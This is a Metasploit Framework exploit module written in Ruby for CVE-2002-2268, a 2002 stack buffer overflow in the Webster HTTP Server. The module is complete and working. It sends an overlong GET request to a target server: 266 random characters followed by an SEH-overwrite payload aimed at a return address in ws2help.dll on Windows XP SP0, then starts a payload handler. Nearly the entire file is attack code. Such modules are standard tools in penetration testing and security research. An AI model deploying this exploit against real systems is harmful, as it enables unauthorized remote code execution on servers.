### $Id: webster_http.rb 10887 2010-11-03 12:19:19Z patrickw $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##
require 'msf/core'class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,'Name' => 'Webster HTTP Server GET Buffer Overflow','Description'=> %q{
This exploits a stack buffer overflow in the Webster HTTP server.
The server and source code was released within an article from
the Microsoft Systems Journal in February 1996 titled "Write a
Simple HTTP-based Server Using MFC and Windows Sockets".},'Author' => ['patrick'],'Version'=> '$Revision: 10887 $','References' =>
[['CVE','2002-2268'],['OSVDB','44106'],['BID','6289'],['URL','http://www.microsoft.com/msj/archive/s25f.aspx'],['URL','http://www.netdave.com/webster/webster.htm'],],'Privileged' => false,'Payload'=>
{'Space' => 1024,'DisableNops' => true,'BadChars'=> "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",},'Platform' => 'win','Targets'=>
[['Windows XP SP0',{'Ret' => 0x71aa32ad }],# pop esi; pop ebx; ret ws2help.dll winxp['Debug',{'Ret' => 0x44434241 }],# todo - add more targets.],'DisclosureDate' => 'Dec 02 2002','DefaultTarget'=> 0))end
def exploit
print_status("Sending request...")
seh = generate_seh_payload(target.ret)
send_request_raw({'uri' => "/"+ Rex::Text.rand_text_alphanumeric(266)+ seh
}, 2)
handler
endend